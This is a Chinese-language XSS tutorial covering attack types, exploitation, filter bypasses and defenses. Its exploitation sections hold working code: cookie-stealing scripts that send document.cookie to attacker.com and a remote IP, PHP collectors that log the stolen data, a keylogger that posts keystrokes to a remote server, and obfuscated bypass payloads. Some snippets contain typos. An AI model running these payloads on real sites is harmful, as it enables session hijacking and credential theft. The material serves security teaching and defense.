深入解析XSS漏洞:原理、分类与攻防实战
前言
随着Web应用技术的飞速发展,用户与网站的交互愈发频繁,但随之而来的安全风险也日益凸显。跨站脚本攻击(XSS)作为Web安全领域中最常见、危害最广泛的漏洞之一,长期位列OWASP Top 10榜单。它利用Web应用对用户输入的信任缺陷,注入恶意脚本代码,窃取用户数据、劫持会话甚至控制客户端操作。本文将从XSS的基础概念出发,深入剖析其原理、分类、利用方式与防御策略,结合实战案例带你全面理解这一经典漏洞。
一、XSS漏洞基础认知
1.1 浏览器对象模型(BOM)与XSS的关联
浏览器对象模型(BOM)是JavaScript与浏览器交互的接口,包含window、location、navigator等核心对象。例如,window.document可直接操作DOM,location.hostname能获取域名信息。当攻击者能在页面中插入并执行包含BOM操作的JavaScript代码时,XSS漏洞便可能被触发------这正是XSS的本质:恶意脚本在用户浏览器中被执行。
html
<!--window.location--> window在使用时可以省略
location.hostname 返回web主机的域名
location.pathname 返回当前页面的路径和文件名
location.port 返回web主机的端口(80或443)
location.protocol 返回所使用的web协议(http:或https:)
<!--window.navigator--> 对象包含有关访问者浏览器的信息。
<script>
txt="<p>浏览器代号:"+navigator.appCodeName+"</p>"
txt+="<p>浏览器名称:"+navigator.appName+"</p>"
txt+="<p>浏览器版本:"+navigator.appVersion+"</p>";
txt+="<p>启用Cookies:"+navigator.cookieEnabled+"</p>";
txt+="<p>硬件平台:"+navigator.platform+"</p>";
txt+="<p>用户代理:"+navigator.userAgent +"</p>";
txt+="<p>用户代理语言:"+navigator.systemLanguage+"</p>";
txt+="<p>主机域名:"+location.hostname+"</p>";
txt+="<p>当前页面路径和文件名"+loaction.pathname+"</p>";
document.write(txt);
</script>
1.2 XSS漏洞的核心概念
XSS(Cross-Site Scripting),全称跨站脚本攻击,指攻击者向Web页面或URL中注入恶意JavaScript代码。若应用未对用户输入进行有效过滤,正常用户访问页面时,恶意脚本会被浏览器执行,从而实现攻击目的。
1.3 为何称为"跨站"攻击?
攻击者并非直接攻击用户主机,而是通过第三方可信网站 (存在XSS漏洞的站点)作为跳板:恶意脚本从漏洞站点加载,却能窃取用户与该站点的会话数据(如Cookie),或冒充用户执行操作,形成"跨站"攻击链路。

1.4 XSS漏洞的触发条件与常见位置
XSS的触发需满足三个核心条件:
-
用户可控制某个输入参数(如搜索框、URL参数);

-
后端未对输入进行过滤或转义;
-
输入内容被页面输出展示。
常见存在位置包括:URL参数(?name=<恶意脚本>)、表单输入框、评论区、用户资料页等。
1.5 XSS漏洞的危害
XSS的危害渗透到用户与网站交互的全流程:
- 窃取用户Cookie、Session等身份凭证,劫持账户;
- 获取客户端信息(浏览器版本、操作系统、地理位置);
- 弹出恶意广告、诱导钓鱼链接;
- 记录用户键盘操作,窃取敏感信息(密码、手机号);
- 结合其他漏洞(如CSRF)实现远程代码执行,甚至控制服务器。
1.6 如何寻找XSS漏洞?
- 手动测试 :"见框就插"------对所有输入点(表单、URL参数、HTTP头)尝试注入测试脚本(如
<script>alert(1)</script>); - 自动化工具:使用Xray、AWVS、XSStrike等工具扫描,或Burp Suite插件辅助检测;
- 复杂场景:需结合业务逻辑手动绕过过滤规则(如编码变形、事件触发)。
二、XSS漏洞的分类与特性
根据恶意脚本的存储方式和执行流程,XSS可分为三类,其核心差异如下表所示:
| XSS分类 | 核心定义 | 存储区 | 触发条件 | 危害等级 |
|---|---|---|---|---|
| 反射型(非持久型) | 恶意脚本经服务器"反射"后执行,不存储在服务器,仅单次请求有效 | URL参数、HTTP请求头 | 诱导用户点击含恶意脚本的URL | 低危 |
| DOM型 | 恶意脚本仅在前端DOM操作中执行,不经过后端服务器 | URL参数、前端存储(localStorage) | 前端JS直接渲染未过滤的用户输入 | 中危 |
| 存储型(持久型) | 恶意脚本存储在服务器(数据库/文件),所有访问该页面的用户都会触发 | 数据库、评论表、用户资料 | 用户访问包含恶意脚本的页面(无需主动操作) | 高危 |
2.1 反射型XSS
需通过URL参数传递恶意脚本,经后端输出后执行,例如:
http://example.com/1.php?a=<script>alert(1)</script>
特点是攻击链路依赖"用户点击恶意链接",单次请求生效。
2.2 DOM型XSS
完全由前端JS解析执行,例如页面中存在以下代码:
javascript
var action = location.href.split('action=')[1];
document.write(action);
攻击者构造URL:
http://example.com/a.php?action=<script>alert(1)</script>
此时恶意脚本会被document.write直接渲染执行,无需后端参与。

2.3 存储型XSS
危害最大的XSS类型:攻击者将恶意脚本提交至服务器(如评论区),存储在数据库中。每当其他用户访问该评论页,脚本便会被加载执行。例如论坛评论中注入:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
所有查看该评论的用户,Cookie都会被窃取。

| XSS 分类 | 核心定义 | 存储区 | 插入点 | 数据流向 | 触发条件 | 常见攻击场景 | 危害 |
|---|---|---|---|---|---|---|---|
| 反射型 (非持久型 ) | 恶意脚本不存储在服务器,仅通过 URL 参数、查询字符串等方式携带,经服务器 "反射" 后注入 HTML 执行,一次请求即失效。 | URL 参数、查询字符串、HTTP 请求头(如 Referer) | 服务器返回页面的 HTML 节点(如文本框、标签内容) | 用户点击恶意 URL → 浏览器发送请求(携带恶意脚本)→ 服务器原样返回含脚本的 HTML → 浏览器解析 HTML 并执行脚本 | 必须诱导用户主动点击含恶意脚本的 URL(如钓鱼链接、伪装的正常链接) | 搜索框结果展示、URL 参数渲染页面(如?id=123)、错误页面信息回显 | 低危 |
| 存储型 (持久型 ) | 恶意脚本永久存储在服务器(如数据库、文件系统、缓存),所有访问该存储内容的用户,都会加载含脚本的页面并触发执行。 | 后端数据库(如评论表、用户资料表)、服务器文件、缓存系统 | 服务器动态生成页面的 HTML 节点(如评论内容、用户签名) | 攻击者提交恶意脚本 → 服务器存储脚本 → 其他用户访问页面 → 服务器读取脚本并嵌入 HTML → 浏览器执行脚本 | 用户无需主动操作,仅需访问包含恶意脚本的页面(如评论区、文章详情页) | 论坛 / 博客评论区、用户资料编辑页、留言板、商品评价区 | 高危 |
| DOM 型 | 恶意脚本不经过服务器处理,仅通过前端 JavaScript 操作 DOM 时注入,由浏览器端直接解析执行,全程不依赖服务器响应。 | 1. URL 参数 / 哈希值;2. 前端存储(localStorage/sessionStorage);3. 后端数据库(若前端从接口读取未过滤数据) | 前端 JavaScript 操作的 DOM 节点(如通过innerHTML、document.write渲染的区域) |
攻击者构造含恶意脚本的 URL / 前端存储数据 → 前端 JS 读取不可信数据 → 直接用 DOM API 插入页面 → 浏览器执行脚本 | 前端代码未对用户输入 / URL 参数进行过滤,直接用危险 DOM 方法(如innerHTML)渲染内容 |
单页应用(SPA)动态渲染、前端路由参数处理、本地存储数据展示 | 低危 |
三、XSS的实战利用方式
3.1 窃取Cookie:数据外带攻击
(1)在第三方服务器写入1.js用于在靶机网站xss注入
js
var img = document.createElement('img'); //创建一个高度、长度为0px的图片,用于隐藏xss注入
img.width=0;
img.height=0;
img.src="http://192.168.17.176:8080/1.php?cookie="+encodeURIComponent(document.cookie);
(2)在第三方服务器写入1.php用于触发js后接收前端传来的cookie并写入本地的cookie.txt中
php
<?php
$cookie = $_GET['cookie']; //接收恶意JS传递的cookie
$info = fopen('cookie.txt','a+');
fwrite($info,$cookie.PHP_EOL);
fclose($info);
?>
(3)在攻击机的浏览器中向靶机注入恶意代码,并在浏览器添加cookie
js
</div></p><script src="http://192.168.17.176:8080/1.js"></script><div><p>


(4)猛猛访问被注入恶意代码的页面,之后在第三方服务器中查看被记录的cookie值

⚠️注意:
1.所有步骤都正确,为什么cookie.txt中没有记录cookie?
情况1:注入恶意代码后再次尝试获取cookie,出现权限不够的情况导致无法加载我们的js代码


修改权限,并清除浏览器缓存后再次请求

情况2:只能通过获取自己添加的cookie
原因:跨站点脚本 (XSS)攻击通常旨在窃取会话 cookie。在这种攻击中,cookie 值由使用 JavaScript ( document.cookie) 的客户端脚本访问。然而,在日常使用中,Web 应用程序很少需要通过 JavaScript 访问 cookie。因此,设计了一种保护 cookie 免受此类盗窃的方法:一个标志,告诉 Web 浏览器 cookie 只能通过 HTTP 访问 - HttpOnly标志。

并且只能通过数据外带的方式获取cookie数据。

3.2 键盘记录:AJAX异步窃取
通过监听键盘事件,记录用户输入的敏感信息(如密码):
异步的本质:非阻塞执行
当 open() 方法第三个参数设为 true(异步模式)时,浏览器发送请求后不会等待服务器响应,而是立即继续执行后续代码,同时在后台处理请求。
示例代码:
html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<script>
function loadXMLDoc()
{
var xmlhttp; //变量声明
if (window.XMLHttpRequest) //检查当前浏览器是否支持XMLHttpRequest对象
{
// IE7+, Firefox, Chrome, Opera, Safari 浏览器执行代码
xmlhttp=new XMLHttpRequest(); //如果支持的情况下创建一个新的XMLHttpRequest实例
}
else
{
// IE6, IE5 浏览器执行代码
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); //如果当前浏览器不支持,则使用老方法创建一个XMLHttpRequest示例
}
xmlhttp.onreadystatechange=function() //创建一个onreadystatechange事件处理程序
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)//当前请求状态为4(完成请求),并且状态码为200(请求成功)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;//通过innnerhtml输出的方式,将xmlhttp异步请求中的响应值在ID对应的位置输出
}
}
xmlhttp.open("GET","/try/ajax/ajax_info.txt",true);//设置当前请求的文件位置【可定义恶意JS的路径】及请求方式
xmlhttp.send();
}
</script>
</head>
<body>
<div id="myDiv"><h2>使用 AJAX 修改该文本内容</h2></div>
<button type="button" onclick="loadXMLDoc()">修改内容</button>
</body>
</html>
发送post请求的时候,必须设定当前content-type
php
//发送POST的方法
xmlhttp.open("POST","http://localhost/XSS/jianpan/log.php",true); //请求的位置和POST方式
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //设置请求格式
xmlhttp.send();
做键盘记录的方法
(1)在三方服务器创建一个恶意的文件http://192.168.17.176/xss-jianpan/log.js,创建键盘事件,获取当前用户的键盘操作行为,将这个行为通过AJAX异步的方式进行发送
js
document.onkeypress=function(evt){ //onkeypress是按下记录键盘按键的事件
evt = evt || window.event //处理浏览器兼容
key = String.fromCharCode(evt.charCode) //处理键码值兼容(每个按键对应一个键码)
if(key){
console.log('------'+key);
var http=new XMLHttpRequest(); //ajax来发起网络请求
var param=encodeURI(key); //内容编码防止传递过程中编码错误
http.open("POST","http://192.168.17.176:8080/xss-jianpan/log.php",true); //请求的位置和POST方式
http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //设置请求格式
http.send("key="+param); //请求体
}
}

GET请求的发送方式
js
document.onkeypress=function(evt){//onkeypress是按下记录键盘按键的事件
evt=evt || window.event//处理浏览器兼容
key=String.fromCharCode(evt.charCode)//处理键码值兼容(每个按键对应一个键码)
if(key){
varhttp=newXMLHttpRequestO;//ajax来发起网络请求
var param=encodeuRI(key);//内容编码防止传递过程中编码错误
http.open("GET","http://localhost/XSs/jianpan/log.php?key="+param,true);
http.send()://请求体
}
(2)在本地创建一个http://localhost:8080/log.php文件,用于接收异步传递的键盘操作数据
php
<?php
$cookie = $_POST['key']; //接收恶意JS传递的键盘事件
$info = fopen('jianpa.txt','a+');
fwrite($info,$cookie.PHP_EOL);
fclose($info);
?>
(3)在存在XSS漏洞的位置,利用src加载我们的恶意JS即可
</div></p><script src="http://192.168.17.176:8080/xss-jianpan/log.js"></script><div><p>

四、XSS的触发场景与标签利用
并非所有位置都能触发XSS,需结合HTML标签特性:
-
独立
<script>标签 :最基础的触发方式html<script>alert(1)</script> -
事件触发 :利用标签的事件属性(如
onerror、onclick)html<img src="x" onerror="alert(1)"> <a href="#" onclick="alert(1)">点击触发</a> -
JavaScript伪协议 :通过链接伪协议执行脚本
html<a href="javascript:alert(1)">Click Me</a> -
Data伪协议 :直接嵌入HTML代码
data:text/html,<script>alert(1)</script>
XSS盲打
若恶意脚本提交至后台管理员页面(普通用户不可见),攻击者需向留言板、反馈表单等位置批量注入测试脚本,等待管理员访问时触发------这就是"XSS盲打",常用于攻击后台系统。
五、XSS的绕过技巧
为绕过应用的过滤规则,攻击者会对恶意脚本进行变形:
-
大小写混淆 :
<Script>alert(1)</SCript> -
符号替换 :用斜杠代替空格(
<img/src=x/onerror=alert(1)>) -
回车拆分 :
html<a href="j a v a s c r i p t:alert(1)">点击</a> -
实体编码 :将字符转为ASCII/十六进制编码
html<a href="javascript:alert(1)">触发</a> -
双写绕过 :若过滤
script,则用<scrscriptipt>alert(1)</scrscriptipt> -
拆分跨站 :分别发送多条语句,设置全局变量字符串,构造字符串为XSS语句,然后调用eval()函数执行构造的字符串
html<script>a='alert'</script> <script>a=a+'(123)'</script> <script>evla(a)</script> 或者: <Script>a="alert";a=a+"(123456)";eval(a)</ScRipt> -
编码混淆 :使用JSFuck、Unicode编码等方式隐藏脚本
javascript<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
六、XSS的防御策略
XSS的防御核心是"不信任用户输入",需从多维度入手:
- 输入过滤 :设置黑白名单,过滤
<、>、script、onerror等危险字符/关键词;限制输入长度。 - 输出编码 :后端使用
htmlspecialchars()等函数对输出内容进行HTML实体编码,将<转为<,>转为>。 - Cookie保护 :设置Cookie的
HttpOnly=true,禁止JavaScript读取Cookie。 - 安全框架:使用React、Vue等框架的自动转义特性,或引入XSS Filter库(如Java的ESAPI)。
- 内容安全策略(CSP) :通过HTTP头限制脚本加载源(如
Content-Security-Policy: default-src 'self'),阻止外部恶意脚本执行。
总结
XSS漏洞的本质是"输入输出的信任边界被打破",它看似简单,却因Web应用的复杂性衍生出多样的利用方式。从反射型的单次攻击到存储型的持久化危害,从基础的弹窗测试到高级的键盘记录与会话劫持,XSS始终威胁着用户数据安全。
防御XSS并非单一措施能解决,需结合"输入过滤+输出编码+安全配置"形成纵深防护体系。对于开发者而言,培养"最小权限"和"不信任用户输入"的安全意识,是抵御XSS的第一道防线;对于安全测试人员,深入理解XSS的变形技巧与触发场景,才能精准发现漏洞。
在Web安全的攻防对抗中,XSS从未过时------唯有持续学习与实践,才能筑牢应用的安全屏障。